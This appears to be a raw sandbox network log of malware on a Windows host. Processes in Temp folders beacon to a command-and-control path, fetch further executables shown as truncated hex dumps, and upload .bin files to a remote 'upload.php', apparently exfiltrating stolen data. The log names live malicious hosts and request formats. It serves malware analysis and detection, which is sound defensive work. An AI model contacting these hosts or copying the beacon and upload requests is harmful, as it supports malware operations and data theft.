Dec 2, 2024 11:21:57.542655945 CET	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:21:57 GMT Content-Type: application/octet-stream Content-Length: 973312 Last-Modified: Mon, 02 Dec 2024 09:39:34 GMT Connection: keep-alive ETag: "674d8056-eda00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 4e 80 4d 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 2a 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@n~{{{z{RichPELNMg"w@0@@@d\|@ou4@.text `.rdata@@.datalpH@.rsrco@p@@.relocuvd@B [TRUNCATED]
Dec 2, 2024 11:21:57.543014050 CET	1289	IN	Data Raw: 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 e8 83 f0 01 00 59 c3 e8 e6 de 01 00 68 f8 23 44 00 e8 72 f0 01 00 59 c3 e8 59 3c 00 00 68 fd 23 44 00 e8 61 f0 01 00 59 c3 51 e8 a9 00 00 00 68 02 24 44 00 e8 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^
Dec 2, 2024 11:21:57.543087006 CET	1289	IN	Data Raw: 04 00 8b 4f d4 85 c9 0f 85 75 10 04 00 33 db 89 5f dc 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c Data Ascii: Ou3_OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY94
Dec 2, 2024 11:21:57.543124914 CET	1289	IN	Data Raw: 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f 5e 5b 75 0d c6 40 10 00 5d c2 08 00 8b 7f 38 eb d2 8b 40 38 eb ee 33 c0 c7 05 80 18 4d 00 64 00 00 00 33 c9 66 a3 32 15 4d 00 41 a2 34 15 4d Data Ascii: {u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]UVuWVgFO GFG
Dec 2, 2024 11:21:57.543276072 CET	1289	IN	Data Raw: 57 8b f1 e8 4e 00 00 00 85 c0 78 38 8b 4f 04 8b 45 f8 8b 04 81 66 83 78 08 7f 0f 85 33 08 04 00 80 7d ff 00 8d 8e 64 01 00 00 75 1e 80 be 6d 01 00 00 00 8b 8e 68 01 00 00 75 16 8b 49 04 8b 45 0c 41 89 08 5f 5e c9 c2 08 00 e8 de 08 00 00 eb f3 8b Data Ascii: WNx8OEfx3}dumhuIEA_^I0UeEeVEVPuuxMM3M^At)ttH9AxUSVu3Wy
Dec 2, 2024 11:21:57.543313980 CET	1289	IN	Data Raw: 5d fc 47 e8 ed 03 00 00 8b 85 70 ff ff ff 89 45 c0 8b 55 f8 e9 8a fe ff ff 8b 41 04 6a 7f 59 66 39 48 08 0f 85 bc 05 04 00 8b 45 fc 48 4f 83 bd 6c ff ff ff 00 89 45 fc 0f 84 83 03 04 00 80 bd 75 ff ff ff 00 8b 45 c0 0f 85 7b 03 04 00 8b 18 8d 8d Data Ascii: ]GpEUAjYf9HEHOlEuE{lepEE;&r8EE}TPGZEHXE!#AjYf9HmME@E0u]uEu
Dec 2, 2024 11:21:57.543508053 CET	1289	IN	Data Raw: 89 51 20 89 51 28 c3 55 8b ec 8b 45 08 85 c0 0f 8f 88 01 04 00 83 7d 0c 00 0f 85 a9 01 04 00 83 7d 10 00 75 34 83 7d 14 00 0f 85 b8 01 04 00 83 7d 18 00 0f 85 b7 01 04 00 83 7d 1c 00 0f 85 b6 01 04 00 83 7d 20 00 75 19 83 7d 24 00 0f 85 7e 01 04 Data Ascii: Q Q(UE}}u4}}}} u}$~3] jjwsjjsjUVF}^W3jZQL>3YNF~F<BN$;\|SA23~,FDMEuNGA;\|u[_F
Dec 2, 2024 11:21:57.543549061 CET	1289	IN	Data Raw: c2 10 00 55 8b ec 83 ec 74 53 56 33 db 8d 4d 94 57 89 5d 90 e8 14 7b 00 00 ff 75 08 8d 4d 90 c7 45 a4 34 cc 49 00 89 5d a8 89 5d ac 89 5d b0 88 5d b4 e8 78 1c 00 00 8b 4d 0c be 18 14 4d 00 8a 45 b4 88 01 8b ce e8 db 0b 00 00 68 9c ca 49 00 8d 4d Data Ascii: UtSV3MW]{uME4I]]]]xMMEhIM'nj5MM]]]& ]MiVMzEPM@hIMmSjEPEP/yMihtIME]EmSSEPEPxME
Dec 2, 2024 11:21:57.543603897 CET	1289	IN	Data Raw: 7e 04 00 75 0d 89 4e 04 ff 06 89 4e 08 5e 5d c2 04 00 8b 46 08 89 48 04 eb ee 55 8b ec b8 04 00 01 00 e8 ec eb 03 00 56 8d 45 fc 8b f2 50 8d 85 fc ff fe ff 50 68 ff 7f 00 00 ff 31 ff 15 68 c3 49 00 8b 45 fc 85 c0 74 05 33 c9 66 89 08 8d 8d fc ff Data Ascii: ~uNN^]FHUVEPPh1hIEt3fP7^VVYtf\|F\u3fLF^UVW3FO;Qu_^]USVWueYN3C;FPiq?PFuCP
Dec 2, 2024 11:21:57.543766022 CET	1289	IN	Data Raw: 68 b4 03 00 00 33 db c7 44 24 14 a8 03 00 00 8d 44 24 18 8b f1 53 50 e8 de ea 01 00 83 c4 0c 39 9e 98 01 00 00 75 0b a1 e4 13 4d 00 89 86 98 01 00 00 39 9e a4 01 00 00 75 11 a1 e8 13 4d 00 89 86 a4 01 00 00 89 86 a8 01 00 00 39 9e b0 01 00 00 75 Data Ascii: h3D$D$SP9uM9uM9uMSW[Md$$D$F@D$D$D$ qD$$=hMD$PjIhM_^[]U=hMV
Dec 2, 2024 11:21:57.865461111 CET	1289	IN	Data Raw: 39 18 74 44 8b 01 6a 03 ff 10 ff 77 14 e8 b3 c0 01 00 59 8d 4f 18 89 5f 08 89 5f 0c 89 5f 10 89 5f 14 89 5f 4c 66 89 1f e8 64 2a 00 00 8d 4f 28 e8 7a da ff ff 39 5f 58 0f 87 f6 f6 03 00 8d 4f 50 5f 5b e9 3e da ff ff 50 e8 77 c0 01 00 59 eb b9 55 Data Ascii: 9tDjwYO_____Lfd*O(z9_XOP_[>PwYUS]EVWhA@~7jV&tQWYY_^[]VWj^$MZu MMrZMhZM^ZMTZMJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.11.20	49780	34.159.64.221	80	1912	C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:21:59.741408110 CET	644	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekx5pt.top Accept: / Content-Length: 465 Content-Type: multipart/form-data; boundary=------------------------6SMtKoyEIjnhOTk4gpp3qe Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 36 53 4d 74 4b 6f 79 45 49 6a 6e 68 4f 54 6b 34 67 70 70 33 71 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 75 6b 65 77 69 73 75 73 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 4c 55 1e f3 d4 b9 3e 61 e0 0d c9 78 25 26 8f 1f 29 89 e5 c0 d0 38 0c 3c f3 9b 2b 3c 80 1e b7 99 97 b7 c3 ba c1 f8 91 5d 70 09 1f 50 a1 76 fb 68 9d cd f8 e3 e8 08 31 6d e4 64 55 2a 4d dc 39 33 37 d4 ad a8 5c 69 a1 20 c3 19 5b 05 42 ea 7a 0a be a7 76 0e cc c9 da 1c 31 a5 ce 8e 0f d9 28 6a 2c 47 2f a2 20 27 11 79 e5 9b 77 80 c4 61 f1 7c 54 02 62 e7 d9 42 23 41 8c 9b 6b 1d c2 d1 fc ab 4e 85 a6 06 60 dc 58 0e f4 9a f1 4e 9a 7c 89 5c 3d b1 a4 23 a2 34 36 ef fd 6a 8f f1 b0 78 02 8a 7b 65 97 db 8f 69 20 1c 9d 6b 5d 1f 7a 71 be [TRUNCATED] Data Ascii: --------------------------6SMtKoyEIjnhOTk4gpp3qeContent-Disposition: form-data; name="file"; filename="Kukewisus.bin"Content-Type: application/octet-streamLU>ax%&)8<+<]pPvh1mdU*M937\i [Bzv1(j,G/ 'ywa\|TbB#AkN`XN\|\=#46jx{ei k]zqMQ\yWeNd`K_+MjL`>#,DL5_Hy@>Ph;q$.t--------------------------6SMtKoyEIjnhOTk4gpp3qe--
Dec 2, 2024 11:22:00.122576952 CET	255	IN	HTTP/1.1 200 OK server: nginx date: Mon, 02 Dec 2024 10:21:59 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 29 x-ratelimit-reset: 1733136720 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.11.20	49783	34.159.64.221	80	1912	C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:22:01.962759018 CET	2578	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekx5pt.top Accept: / Content-Length: 102760 Content-Type: multipart/form-data; boundary=------------------------cRgdER6uFiJMiEG8HnzZyJ Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 63 52 67 64 45 52 36 75 46 69 4a 4d 69 45 47 38 48 6e 7a 5a 79 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4e 6f 6b 61 63 65 76 65 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 43 f3 e2 3f 2b 99 2c ed 39 a8 c9 de d9 92 77 4c df 3c e6 87 c3 f5 64 4d fe 20 3b 49 68 77 21 4b 33 c3 80 0b da 5c fa e3 5d 8e 29 48 3e d5 cc 33 1b ea cd 45 ea 83 f9 2f 50 8f 8a f4 52 a7 6b b8 8d 82 dc 9f a2 e6 66 65 9e 77 2d 03 40 bb 53 f7 0b 90 cc 03 7c df ab bd ac 3d 79 1b 35 fb aa a5 89 96 5e 8d fe 84 dd 71 67 6c ac 58 bc 0f 18 e7 1e 75 1e 4c ae b5 a8 fc e1 84 6d 50 52 ae 4d 10 f1 a6 c9 04 9c 79 a5 71 e7 d4 d4 6a 3f f1 01 fe 4b 32 eb b9 e1 51 8a 45 50 e5 0c a0 f3 16 be 91 1d cd cb d6 cd 24 da 25 a6 04 55 67 0d 82 2f ea [TRUNCATED] Data Ascii: --------------------------cRgdER6uFiJMiEG8HnzZyJContent-Disposition: form-data; name="file"; filename="Nokaceve.bin"Content-Type: application/octet-streamC?+,9wL<dM ;Ihw!K3\])H>3E/PRkfew-@S\|=y5^qglXuLmPRMyqj?K2QEP$%Ug/vf4\|(zs%D#@t~4W6uDA*wm,#02HY@"FQ}lJ4I]9,:4j$gE.XECT;B]ylk5rNI);Y.A(nw&;=[wt+!c}=Q&!,esKOZ;$tLkMN.J$~WJ Mi6aL;O.E&mOub7aFkj<\|Os)vSE7y7?m]G\x3Vcoyt)wX'_{P4Ia6^@7-AGV<8Ir?/77p!x.NrgH&eBu;%YNsi:IEv6NO('fkqD2AON8rxHi5Z>ZwZJ'93w6bXtKY_e}{%GW0Ck\di{u;mzkYF( [TRUNCATED]
Dec 2, 2024 11:22:01.962778091 CET	3867	OUT	Data Raw: bf cf 98 af 52 4e 41 7d b8 41 57 1b e3 2d c8 e8 d1 a0 92 8f 0d c5 b0 05 6e 2d d4 2d 6b c3 3f 0e e8 38 a8 27 5d c7 c2 da 55 3e c8 30 4a b3 9a 1e 97 27 54 33 34 7f 42 86 16 69 f7 d7 0b fc 6e 85 6d 4e b4 49 e5 46 8c 33 b2 86 13 b1 5d b5 21 12 2b a5 Data Ascii: RNA}AW-n--k?8']U>0J'T34BinmNIF3]!+}\|QH*mFeqfO^m z"swW]-q'?Nq},@j.c8LD_%O2Yc[+?nCvimA1+c
Dec 2, 2024 11:22:01.962862015 CET	6445	OUT	Data Raw: 2a 29 93 b9 a9 87 06 d5 81 c4 bf c5 86 29 56 50 be 4c 59 a2 34 3e dc 2b 7d cc fb 0e 93 ca 25 d3 4a 7e ab 24 04 2f 85 2b 15 f9 3c 45 c4 d2 3f b5 35 01 f7 be 55 fd 21 aa c1 3e 55 d8 7b c0 5c 4e 2c ef e0 1e 2d 64 a6 18 e8 74 73 ea 5c ac 8d 7f 99 dc Data Ascii: ))VPLY4>+}%J~$/+<E?5U!>U{\N,-dts\>~qGP<(7i4Z;~vR:+56d1(bPX*Y]z@o)Kb9dt]}nJnw"`6p oBp%4!eC
Dec 2, 2024 11:22:02.254631996 CET	2578	OUT	Data Raw: ba b8 c8 14 4d 3e a9 82 12 6d 7a 0d e7 4c 15 fe 16 8f 6a 72 62 93 76 a7 a1 3a c8 60 ec 93 1e 7b e7 28 91 72 40 3d 28 ed cf 5c a7 b7 a8 a3 89 95 55 74 cb 75 19 a4 33 0f 60 87 62 75 d9 ab 14 27 ba 14 36 f1 45 ad a6 48 0d 54 bf 9c 3b a6 ed cd 86 6f Data Ascii: M>mzLjrbv:`{(r@=(\Utu3`bu'6EHT;oJ~Y&wgarDJ!A?.&cc(C.6dNwK_epuHq&{J{)# `{iukdB0:[mi[!
Dec 2, 2024 11:22:02.254798889 CET	2578	OUT	Data Raw: 32 f9 7b 16 9e 20 39 26 2a df ef 63 54 02 22 a6 33 a5 51 b2 85 73 d9 36 64 8e a2 78 d8 ae bc 27 76 e1 4d c6 1d 56 2b cb b2 44 2b 77 9d a8 f4 24 ab 57 ae cd d0 90 3f 92 2b 5c 82 c0 33 5d 21 64 29 94 99 3d fd 17 26 77 2a a0 c9 04 32 0e f8 19 cf 0f Data Ascii: 2{ 9&cT"3Qs6dx'vMV+D+w$W?+\3]!d)=&w2R}xf7b"l9eK9p/~h"1Jt;Ps%s9d;A`j(\S1RC4CISA3mR[Je7OzDSe}a7(
Dec 2, 2024 11:22:02.254970074 CET	16757	OUT	Data Raw: 58 b2 4f cd ab 72 4f 2b 9c 65 06 39 f7 5a 5d 16 93 82 1d f1 34 03 57 42 7b e9 43 71 80 29 16 e9 94 5e 79 96 7e ce 45 6e 9f d5 14 b5 dc 79 6b 57 00 b3 28 cd f4 8e 9e 25 67 7c 32 79 53 38 0c df ba 0b 14 a6 e4 2f 36 d7 61 9e 5c b1 2d 22 88 dd aa d4 Data Ascii: XOrO+e9Z]4WB{Cq)^y~EnykW(%g\|2yS8/6a\-"4@@9yS=)l,7J&u##JB8^#FFC=JW;l;\M4NAs0TYd+5liONdI;C*YcCpLPy
Dec 2, 2024 11:22:02.255141020 CET	3867	OUT	Data Raw: 2c 7f ba c3 54 c8 7c f9 ab 68 95 bf a0 ba 9a a5 78 3b f1 fc ee 7d 12 95 c9 be 9f 5c da b7 8c c3 cd 4b 62 ba 19 ac d5 82 d3 06 ad ff 31 7b 0c 38 07 36 0b 36 3e 09 2a b0 e1 57 74 f4 d6 bf 8a 44 c3 20 3f 27 60 6f 11 17 bd 33 f4 7e 42 7c 76 66 0c da Data Ascii: ,T\|hx;}\Kb1{866>*WtD ?'`o3~B\|vfNADSg\|\|[x\_Ele4/pVFX5oQh'lKc[tENm<gVpPecTRF{]CO`ur1}~Km{3_\|6
Dec 2, 2024 11:22:02.546681881 CET	2578	OUT	Data Raw: a9 a8 c1 5e 7e 96 83 2f 19 93 a0 02 4b f4 38 cd 9f bf b1 a4 4c e6 1e d4 48 9f 25 8d bd 60 c7 05 d8 53 7e e2 53 0f f3 97 b8 c5 6c 39 60 3f e1 f9 4f 0b 54 72 9f 2b 6a c8 bb d1 05 af be c9 1c d2 8d 40 12 8e 28 2b ed 42 fa 7d 6d c8 31 8c da 5d 27 c0 Data Ascii: ^~/K8LH%`S~Sl9`?OTr+j@(+B}m1]'1<VW^wa#f[^_:CuN~>$ImFtAXE.)"`C-qEZ@C._k\*\|Kl,\|zu[oq9`k%EJ8jWfYeWNj
Dec 2, 2024 11:22:02.546850920 CET	10312	OUT	Data Raw: ff 33 aa 8c 96 2a be 7a a8 c1 3c 56 1c 25 9d cb f7 a1 f2 0f 00 4a 51 f9 6c 5b 67 e5 cf 45 49 69 5f 6a 5d 32 5b 3b 93 dd e0 db 62 40 08 de 53 8a 51 08 d5 78 7b 21 09 ad 8d 84 9b 6e 0c a4 5e 1b 38 bc 5a 27 e1 ca 6d 23 26 54 cb bb 86 80 81 0b e4 cc Data Ascii: 3*z<V%JQl[gEIi_j]2[;b@SQx{!n^8Z'm#&T(0RtmNBISA:ePzN"^.~^1CWV`nA=0m-,~:BlQz8d%e)%-%tka{yF7d"j;2
Dec 2, 2024 11:22:02.547013044 CET	15468	OUT	Data Raw: cf 03 37 b1 ab eb db 03 e8 ab a3 df 2a 02 2a 47 3b 32 ed c6 64 c6 c4 e6 8e 3c 39 65 8f 6f d1 f0 28 32 5f 4a 53 e4 82 3e aa bc 47 8d 4b b4 79 c3 61 4f 5f 97 fb 73 74 ce 5d 56 65 20 f8 33 2b b6 33 e2 cc 61 ff 92 9d d3 92 0c cf 8d 4b f6 5c e2 3e e6 Data Ascii: 7**G;2d<9eo(2_JS>GKyaO_st]Ve 3+3aK\>Hgz%$C`Sf5}_`]1}+v5.\|%<W!/Qjuz}u9 3v"?fs3y6lHe%6A?t.aB$l&'
Dec 2, 2024 11:22:02.547357082 CET	15468	OUT	Data Raw: 6c 21 01 4d 71 5e 85 12 a9 bc 2b 4f 62 29 59 88 5e bf d1 ed 3c bd 56 24 6c c2 9f bf 28 d0 ad cd d1 9c 5d 6f 54 56 56 ed 35 16 3f f1 61 54 e3 f0 12 01 af 05 45 e7 43 bc 44 6b ed 73 d5 84 68 7f f5 5f 15 48 50 f1 df d3 ab 32 08 25 0f cc 99 d5 26 5a Data Ascii: l!Mq^+Ob)Y^<V$l(]oTVV5?aTECDksh_HP2%&Za5<C:"3Z:xHr9n7/U.WD $L8?.PMlq6:{*30&)quQ!33=!p+)ApptrK+ZPBDc
Dec 2, 2024 11:22:03.180485964 CET	255	IN	HTTP/1.1 200 OK server: nginx date: Mon, 02 Dec 2024 10:22:03 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 28 x-ratelimit-reset: 1733136720 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.11.20	49784	185.215.113.43	80	2268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:22:03.038814068 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 31 32 37 31 30 30 31 26 75 6e 69 74 3d 34 32 35 33 31 36 35 36 37 32 39 36 Data Ascii: d1=1011271001&unit=425316567296
Dec 2, 2024 11:22:03.364233017 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:22:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.11.20	49785	185.215.113.16	80	2268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:22:03.689965010 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 2, 2024 11:22:04.011914968 CET	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:22:03 GMT Content-Type: application/octet-stream Content-Length: 2787840 Last-Modified: Mon, 02 Dec 2024 09:40:00 GMT Connection: keep-alive ETag: "674d8070-2a8a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 a6 f4 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ @+`Ui` @ @.rsrc`2@.idata 8@dnxjhbas@*:@tbdzewvr d@.taggant@+"h@ [TRUNCATED]
Dec 2, 2024 11:22:04.012155056 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 11:22:04.012403965 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 11:22:04.012423992 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 11:22:04.012658119 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 11:22:04.012676954 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 11:22:04.012783051 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 11:22:04.012917042 CET	1289	IN	Data Raw: c3 2a 51 56 07 3b f4 d6 67 03 57 ab 0c 45 6b cf a8 d8 14 90 5a 72 01 4e 83 00 9f f0 58 e0 03 4d 1b 85 88 26 de 70 e0 83 6d 67 81 61 c3 cf 51 72 7d 74 49 65 eb 67 d5 c5 e4 d5 e1 41 28 e0 50 91 78 eb 31 05 67 6a 25 40 83 ea 85 4b ba a8 18 28 d2 69 Data Ascii: QV;gWEkZrNXM&pmgaQr}tIegA(Px1gj%@K(iXwnIjl(cUm81M0?#VK7L1nAUWBu-a-dOXoc5C]K@#U]<L1o9I.MkI[YXC4QOfJ1TX
Dec 2, 2024 11:22:04.013005018 CET	1289	IN	Data Raw: 39 71 52 12 29 a1 85 9c 76 ea a7 26 40 47 91 d4 24 42 98 bb 79 5a d8 27 27 2c 76 15 12 40 32 9c 60 fc 83 a3 26 e3 22 25 99 37 7a 03 66 41 af e3 f7 92 5d 58 c9 40 19 6c 60 f8 5d 2d 5a 42 f8 6d f8 45 cb 2c 21 4c 05 29 a6 f5 88 37 a4 a3 63 95 26 73 Data Ascii: 9qR)v&@G$ByZ'',v@2`&"%7zfA]X@l`]-ZBmE,!L)7c&sK\.(nIR},KcvcI[,5k}!4@w'%i$b.HAC5Cp}H3~cZ'cH#AY<XI,/wIPJM%MZ
Dec 2, 2024 11:22:04.013170958 CET	1289	IN	Data Raw: 20 a5 b2 5e 31 e2 41 ec 8a db 24 e7 25 d7 35 de 3a 82 16 2e 34 ce 22 fc 4c e2 31 69 c4 58 cc 66 55 cb 52 0b ef 4c 1d 49 09 d3 06 5b 33 42 02 fa b5 56 15 30 28 ae 4a d7 f5 76 04 9c 0c 53 e6 d4 42 94 77 1f e2 85 03 ea 68 b6 a5 1a 46 11 98 d7 f0 70 Data Ascii: ^1A$%5:.4"L1iXfURLI[3BV0(JvSBwhFp,%&\|^A@N_"j8Q9~Rfge%EEg6Jnh6OUB_wGY=F:u%^!PPW(ZE fY%z#gCHa!k1D?sO
Dec 2, 2024 11:22:04.334997892 CET	1289	IN	Data Raw: 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 Data Ascii: GeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGe P8

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.11.20	49799	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
